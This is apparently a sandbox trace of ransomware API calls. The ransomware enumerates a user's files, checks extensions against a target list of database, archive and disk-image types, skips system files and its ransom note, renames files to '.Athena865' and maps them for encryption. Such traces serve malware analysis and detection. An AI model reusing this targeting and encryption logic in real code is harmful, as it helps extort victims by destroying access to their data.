lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1 [0052.342] lstrlenW (lpString="nnt") returned 3 [0052.342] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1 [0052.342] lstrlenW (lpString="nrmlib") returned 6 [0052.342] lstrcmpiW (lpString1="1x.lnk", lpString2="nrmlib") returned -1 [0052.342] lstrlenW (lpString="ns2") returned 3 [0052.342] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1 [0052.342] lstrlenW (lpString="ns3") returned 3 [0052.342] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1 [0052.342] lstrlenW (lpString="ns4") returned 3 [0052.342] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1 [0052.342] lstrlenW (lpString="nsf") returned 3 [0052.342] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1 [0052.342] lstrlenW (lpString="nv") returned 2 [0052.342] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1 [0052.342] lstrlenW (lpString="nv2") returned 3 [0052.342] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1 [0052.342] lstrlenW (lpString="nwdb") returned 4 [0052.342] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1 [0052.342] lstrlenW (lpString="nyf") returned 3 [0052.342] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1 [0052.342] lstrlenW (lpString="odb") returned 3 [0052.342] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0052.342] lstrlenW (lpString="odb") returned 3 [0052.342] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0052.342] lstrlenW (lpString="oqy") returned 3 [0052.342] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1 [0052.342] lstrlenW (lpString="ora") returned 3 [0052.342] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1 [0052.342] lstrlenW (lpString="orx") returned 3 [0052.342] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1 [0052.342] lstrlenW (lpString="owc") returned 3 [0052.342] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1 [0052.342] lstrlenW (lpString="p96") returned 3 [0052.342] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1 [0052.343] lstrlenW (lpString="p97") returned 3 [0052.343] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1 [0052.343] lstrlenW (lpString="pan") returned 3 [0052.343] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1 [0052.343] lstrlenW (lpString="pdb") returned 3 [0052.343] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1 [0052.343] lstrlenW (lpString="pdm") returned 3 [0052.343] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1 [0052.343] lstrlenW (lpString="pnz") returned 3 [0052.343] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1 [0052.343] lstrlenW (lpString="qry") returned 3 [0052.343] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1 [0052.343] lstrlenW (lpString="qvd") returned 3 [0052.343] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1 [0052.343] lstrlenW (lpString="rbf") returned 3 [0052.343] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1 [0052.343] lstrlenW (lpString="rctd") returned 4 [0052.343] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1 [0052.343] lstrlenW (lpString="rod") returned 3 [0052.343] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1 [0052.343] lstrlenW (lpString="rodx") returned 4 [0052.343] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1 [0052.343] lstrlenW (lpString="rpd") returned 3 [0052.343] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1 [0052.343] lstrlenW (lpString="rsd") returned 3 [0052.343] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1 [0052.343] lstrlenW (lpString="sas7bdat") returned 8 [0052.343] lstrlenW (lpString="sbf") returned 3 [0052.343] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1 [0052.343] lstrlenW (lpString="scx") returned 3 [0052.343] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1 [0052.343] lstrlenW (lpString="sdb") returned 3 [0052.343] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1 [0052.343] lstrlenW (lpString="sdc") returned 3 [0052.344] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1 [0052.344] lstrlenW (lpString="sdf") returned 3 [0052.344] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1 [0052.344] lstrlenW (lpString="sis") returned 3 [0052.344] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1 [0052.344] lstrlenW (lpString="spq") returned 3 [0052.344] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1 [0052.344] lstrlenW (lpString="te") returned 2 [0052.344] lstrcmpiW (lpString1="nk", lpString2="te") returned -1 [0052.344] lstrlenW (lpString="teacher") returned 7 [0052.344] lstrcmpiW (lpString1="W1x.lnk", lpString2="teacher") returned 1 [0052.344] lstrlenW (lpString="tmd") returned 3 [0052.344] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1 [0052.344] lstrlenW (lpString="tps") returned 3 [0052.344] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1 [0052.344] lstrlenW (lpString="trc") returned 3 [0052.344] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0052.344] lstrlenW (lpString="trc") returned 3 [0052.344] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0052.344] lstrlenW (lpString="trm") returned 3 [0052.344] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1 [0052.344] lstrlenW (lpString="udb") returned 3 [0052.344] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1 [0052.344] lstrlenW (lpString="udl") returned 3 [0052.344] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1 [0052.344] lstrlenW (lpString="usr") returned 3 [0052.344] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1 [0052.344] lstrlenW (lpString="v12") returned 3 [0052.344] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1 [0052.344] lstrlenW (lpString="vis") returned 3 [0052.344] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1 [0052.344] lstrlenW (lpString="vpd") returned 3 [0052.344] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1 [0052.344] lstrlenW (lpString="vvv") returned 3 [0052.344] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1 [0052.345] lstrlenW (lpString="wdb") returned 3 [0052.345] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1 [0052.345] lstrlenW (lpString="wmdb") returned 4 [0052.345] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1 [0052.345] lstrlenW (lpString="wrk") returned 3 [0052.345] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1 [0052.345] lstrlenW (lpString="xdb") returned 3 [0052.345] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1 [0052.345] lstrlenW (lpString="xld") returned 3 [0052.345] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1 [0052.345] lstrlenW (lpString="xmlff") returned 5 [0052.345] lstrcmpiW (lpString1="x.lnk", lpString2="xmlff") returned -1 [0052.345] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CW1x.lnk.Athena865") returned 72 [0052.345] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CW1x.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\cw1x.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CW1x.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\cw1x.lnk.athena865"), dwFlags=0x1) returned 1 [0052.346] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CW1x.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\cw1x.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.346] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5013) returned 1 [0052.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.346] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.347] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.347] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.347] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16a0, lpName=0x0) returned 0x154 [0052.347] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16a0) returned 0x100000 [0052.348] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.348] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.348] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.348] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.348] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.348] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0052.348] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.348] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.348] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.349] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0052.349] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.349] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.349] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.349] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.349] CloseHandle (hObject=0x154) returned 1 [0052.349] CloseHandle (hObject=0x17c) returned 1 [0052.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.350] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb237e960, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb237e960, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb237e960, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x3fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="d5hPdofRcff-.lnk", cAlternateFileName="D5HPDO~1.LNK")) returned 1 [0052.350] lstrcmpiW (lpString1="d5hPdofRcff-.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.350] lstrcmpiW (lpString1="d5hPdofRcff-.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0052.350] lstrcmpiW (lpString1="d5hPdofRcff-.lnk", lpString2=".") returned 1 [0052.350] lstrcmpiW (lpString1="d5hPdofRcff-.lnk", lpString2="..") returned 1 [0052.350] lstrcmpiW (lpString1="d5hPdofRcff-.lnk", lpString2="windows") returned -1 [0052.351] lstrcmpiW (lpString1="d5hPdofRcff-.lnk", lpString2="bootmgr") returned 1 [0052.351] lstrcmpiW (lpString1="d5hPdofRcff-.lnk", lpString2="temp") returned -1 [0052.351] lstrcmpiW (lpString1="d5hPdofRcff-.lnk", lpString2="pagefile.sys") returned -1 [0052.351] lstrcmpiW (lpString1="d5hPdofRcff-.lnk", lpString2="boot") returned 1 [0052.351] lstrcmpiW (lpString1="d5hPdofRcff-.lnk", lpString2="ids.txt") returned -1 [0052.351] lstrcmpiW (lpString1="d5hPdofRcff-.lnk", lpString2="ntuser.dat") returned -1 [0052.351] lstrcmpiW (lpString1="d5hPdofRcff-.lnk", lpString2="perflogs") returned -1 [0052.351] lstrcmpiW (lpString1="d5hPdofRcff-.lnk", lpString2="MSBuild") returned -1 [0052.351] lstrlenW (lpString="d5hPdofRcff-.lnk") returned 16 [0052.351] lstrcpyW (in: lpString1=0x241e8b4, lpString2="d5hPdofRcff-.lnk" | out: lpString1="d5hPdofRcff-.lnk") returned="d5hPdofRcff-.lnk" [0052.351] lstrlenW (lpString="d5hPdofRcff-.lnk") returned 16 [0052.351] lstrlenW (lpString="Athena865") returned 9 [0052.351] lstrcmpiW (lpString1="Rcff-.lnk", lpString2="Athena865") returned 1 [0052.351] lstrlenW (lpString=".dll") returned 4 [0052.351] lstrcmpiW (lpString1="d5hPdofRcff-.lnk", lpString2=".dll") returned 1 [0052.351] lstrlenW (lpString=".lnk") returned 4 [0052.351] lstrcmpiW (lpString1="d5hPdofRcff-.lnk", lpString2=".lnk") returned 1 [0052.351] lstrlenW (lpString=".ini") returned 4 [0052.351] lstrcmpiW (lpString1="d5hPdofRcff-.lnk", lpString2=".ini") returned 1 [0052.351] lstrlenW (lpString=".sys") returned 4 [0052.351] lstrcmpiW (lpString1="d5hPdofRcff-.lnk", lpString2=".sys") returned 1 [0052.351] lstrlenW (lpString="d5hPdofRcff-.lnk") returned 16 [0052.351] lstrlenW (lpString="bak") returned 3 [0052.351] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0052.351] lstrlenW (lpString="ba_") returned 3 [0052.351] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0052.351] lstrlenW (lpString="dbb") returned 3 [0052.351] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0052.351] lstrlenW (lpString="vmdk") returned 4 [0052.351] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0052.351] lstrlenW (lpString="rar") returned 3 [0052.351] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0052.351] lstrlenW (lpString="zip") returned 3 [0052.351] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0052.352] lstrlenW (lpString="tgz") returned 3 [0052.352] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0052.352] lstrlenW (lpString="vbox") returned 4 [0052.352] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0052.352] lstrlenW (lpString="vdi") returned 3 [0052.352] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0052.352] lstrlenW (lpString="vhd") returned 3 [0052.352] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0052.352] lstrlenW (lpString="vhdx") returned 4 [0052.352] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0052.352] lstrlenW (lpString="avhd") returned 4 [0052.352] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0052.352] lstrlenW (lpString="db") returned 2 [0052.352] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0052.352] lstrlenW (lpString="db2") returned 3 [0052.352] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0052.352] lstrlenW (lpString="db3") returned 3 [0052.352] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0052.352] lstrlenW (lpString="dbf") returned 3 [0052.352] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0052.352] lstrlenW (lpString="mdf") returned 3 [0052.352] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0052.352] lstrlenW (lpString="mdb") returned 3 [0052.352] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0052.352] lstrlenW (lpString="sql") returned 3 [0052.352] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0052.352] lstrlenW (lpString="sqlite") returned 6 [0052.352] lstrcmpiW (lpString1="f-.lnk", lpString2="sqlite") returned -1 [0052.352] lstrlenW (lpString="sqlite3") returned 7 [0052.352] lstrcmpiW (lpString1="ff-.lnk", lpString2="sqlite3") returned -1 [0052.352] lstrlenW (lpString="sqlitedb") returned 8 [0052.352] lstrcmpiW (lpString1="cff-.lnk", lpString2="sqlitedb") returned -1 [0052.352] lstrlenW (lpString="xml") returned 3 [0052.352] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0052.353] lstrlenW (lpString="$er") returned 3 [0052.353] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0052.353] lstrlenW (lpString="4dd") returned 3 [0052.353] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0052.353] lstrlenW (lpString="4dl") returned 3 [0052.353] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0052.353] lstrlenW (lpString="^^^") returned 3 [0052.353] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0052.353] lstrlenW (lpString="abs") returned 3 [0052.353] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0052.353] lstrlenW (lpString="abx") returned 3 [0052.353] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0052.353] lstrlenW (lpString="accdb") returned 5 [0052.353] lstrcmpiW (lpString1="-.lnk", lpString2="accdb") returned -1 [0052.353] lstrlenW (lpString="accdc") returned 5 [0052.353] lstrcmpiW (lpString1="-.lnk", lpString2="accdc") returned -1 [0052.353] lstrlenW (lpString="accde") returned 5 [0052.353] lstrcmpiW (lpString1="-.lnk", lpString2="accde") returned -1 [0052.353] lstrlenW (lpString="accdr") returned 5 [0052.353] lstrcmpiW (lpString1="-.lnk", lpString2="accdr") returned -1 [0052.353] lstrlenW (lpString="accdt") returned 5 [0052.353] lstrcmpiW (lpString1="-.lnk", lpString2="accdt") returned -1 [0052.353] lstrlenW (lpString="accdw") returned 5 [0052.353] lstrcmpiW (lpString1="-.lnk", lpString2="accdw") returned -1 [0052.353] lstrlenW (lpString="accft") returned 5 [0052.353] lstrcmpiW (lpString1="-.lnk", lpString2="accft") returned -1 [0052.353] lstrlenW (lpString="adb") returned 3 [0052.353] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.353] lstrlenW (lpString="adb") returned 3 [0052.353] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.353] lstrlenW (lpString="ade") returned 3 [0052.353] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0052.353] lstrlenW (lpString="adf") returned 3 [0052.353] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0052.354] lstrlenW (lpString="adn") returned 3 [0052.354] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0052.354] lstrlenW (lpString="adp") returned 3 [0052.354] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0052.354] lstrlenW (lpString="alf") returned 3 [0052.354] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0052.354] lstrlenW (lpString="ask") returned 3 [0052.354] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0052.354] lstrlenW (lpString="btr") returned 3 [0052.354] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0052.354] lstrlenW (lpString="cat") returned 3 [0052.354] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0052.354] lstrlenW (lpString="cdb") returned 3 [0052.354] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0052.354] lstrlenW (lpString="ckp") returned 3 [0052.354] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0052.354] lstrlenW (lpString="cma") returned 3 [0052.354] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0052.354] lstrlenW (lpString="cpd") returned 3 [0052.354] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0052.354] lstrlenW (lpString="dacpac") returned 6 [0052.354] lstrcmpiW (lpString1="f-.lnk", lpString2="dacpac") returned 1 [0052.354] lstrlenW (lpString="dad") returned 3 [0052.354] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0052.354] lstrlenW (lpString="dadiagrams") returned 10 [0052.354] lstrcmpiW (lpString1="fRcff-.lnk", lpString2="dadiagrams") returned 1 [0052.354] lstrlenW (lpString="daschema") returned 8 [0052.354] lstrcmpiW (lpString1="cff-.lnk", lpString2="daschema") returned -1 [0052.354] lstrlenW (lpString="db-journal") returned 10 [0052.354] lstrcmpiW (lpString1="fRcff-.lnk", lpString2="db-journal") returned 1 [0052.354] lstrlenW (lpString="db-shm") returned 6 [0052.354] lstrcmpiW (lpString1="f-.lnk", lpString2="db-shm") returned 1 [0052.354] lstrlenW (lpString="db-wal") returned 6 [0052.354] lstrcmpiW (lpString1="f-.lnk", lpString2="db-wal") returned 1 [0052.355] lstrlenW (lpString="dbc") returned 3 [0052.355] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0052.355] lstrlenW (lpString="dbs") returned 3 [0052.355] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0052.355] lstrlenW (lpString="dbt") returned 3 [0052.355] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0052.355] lstrlenW (lpString="dbv") returned 3 [0052.355] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0052.355] lstrlenW (lpString="dbx") returned 3 [0052.355] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0052.355] lstrlenW (lpString="dcb") returned 3 [0052.355] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0052.355] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1 [0052.355] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1 [0052.355] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1 [0052.355] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1 [0052.355] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1 [0052.355] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1 [0052.355] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\d5hPdofRcff-.lnk.Athena865") returned 80 [0052.355] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\d5hPdofRcff-.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\d5hpdofrcff-.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\d5hPdofRcff-.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\d5hpdofrcff-.lnk.athena865"), dwFlags=0x1) returned 1 [0052.356] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\d5hPdofRcff-.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\d5hpdofrcff-.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.357] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1020) returned 1 [0052.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.357] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.358] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.358] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.358] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x700, lpName=0x0) returned 0x154 [0052.358] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x700) returned 0x100000 [0052.358] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.359] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.359] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.359] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.359] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0052.359] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.359] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.359] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0052.360] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.360] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.360] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.360] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.360] CloseHandle (hObject=0x154) returned 1 [0052.360] CloseHandle (hObject=0x17c) returned 1 [0052.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.361] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae8948e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xae8948e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xae8948e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="d9d2zKK4Gxce2g-X2G.flv.lnk", cAlternateFileName="D9D2ZK~1.LNK")) returned 1 [0052.361] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.361] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0052.361] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv.lnk", lpString2=".") returned 1 [0052.361] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv.lnk", lpString2="..") returned 1 [0052.361] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv.lnk", lpString2="windows") returned -1 [0052.361] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv.lnk", lpString2="bootmgr") returned 1 [0052.361] lstrcmpiW 